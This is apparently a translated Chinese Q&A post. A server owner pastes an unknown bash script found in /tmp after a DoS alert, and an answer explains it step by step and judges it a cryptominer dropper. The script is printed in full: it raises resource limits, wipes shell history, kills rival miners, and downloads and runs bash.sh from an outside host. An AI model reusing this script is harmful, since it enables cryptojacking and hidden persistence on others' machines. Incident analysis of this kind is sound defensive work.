我们最近收到了来自 AWS 团队的 DoS 攻击警报,我们发现 /tmp 文件夹中的这个 shell 脚本不断发出请求,而我们都没有创建这个脚本。您能帮助我们了解这个脚本在做什么吗?如果它确实在进行某种攻击。
#!/bin/bash
for (( ; ; ))
do
if ls bash.sh &>/dev/null
then
echo "ulimit -u unlimited" >> ~/.bashrc
echo "ulimit -s unlimited" >> ~/.bashrc
echo "ulimit -q unlimited" >> ~/.bashrc
echo "ulimit -l unlimited" >> ~/.bashrc
echo "ulimit -i unlimited" >> ~/.bashrc
echo "ulimit -n 999999" >> ~/.bashrc
ulimit -u unlimited
ulimit -s unlimited
ulimit -q unlimited
ulimit -l unlimited
ulimit -i unlimited
ulimit -n 999999
echo "unset HISTFILE;unset SAVEHIST" >> ~/.bashrc
unset HISTFILE
unset SAVEHIST
pkill -9 wget
pkill -9 curl
pkill -9 xmr
pkill -9 cron
pkill -9 minerd
pkill -9 bot
rm -rf /var/tmp/xmr*
rm -rf /var/tmp/minerd
rm -rf /var/tmp/miner*
else
echo "unset HISTFILE;unset SAVEHIST" >> ~/.bashrc
unset HISTFILE
unset SAVEHIST
cd /tmp || cd /var/tmp || cd /mnt || cd /root || cd /; wget http://ionage.theworkpc.com:8088/bash.sh; curl -O http://ionage.theworkpc.com:8088/bash.sh; chmod +x bash.sh; nohup ./bash.sh &
history -c
fi
done
答案1
剧本:
- 进行无限循环,其中
- 它首先检查当前工作目录中是否存在名为 bash.sh 的文件。
如果是,那么
- 它会将命令放入你的 bashrc(每次启动 bash 时都会加载的一个文件)中,以消除系统通常设置的 bash 进程限制
- 它试图消除对自身的限制
- 它将停止在 bash 中保存命令历史记录的命令输出到 bashrc 中
- 它为自己执行相同的命令
- 它会终止用于向网络发出请求的程序实例(wget 和 curl),停止计划任务(cron),终止一些比特币矿工的进程(xmr、minerd
bot
等 - 它会删除一些挖矿程序的临时目录
如果 bash.sh 脚本不存在,那么它
- 输出命令以停止 bash 并将命令历史记录保存到 bashrc 中
- 执行相同的命令
- 按以下顺序更改为系统上存在且可供此脚本访问的任何目录:/tmp、/vat/tmp、/mnt、/root、/;
- 将“bash.sh”脚本下载到该目录中,使用另一个程序下载相同的脚本(以防第一个程序不存在于您的系统中),使文件可执行,并在后台启动它
- 删除历史记录。
长话短说:脚本会在文件不存在时下载文件(并执行)。当文件存在时,它会杀死比特币矿工和其他脚本(可能是为了阻止竞争对手)。这暗示了下载的脚本可能是什么:比特币矿工。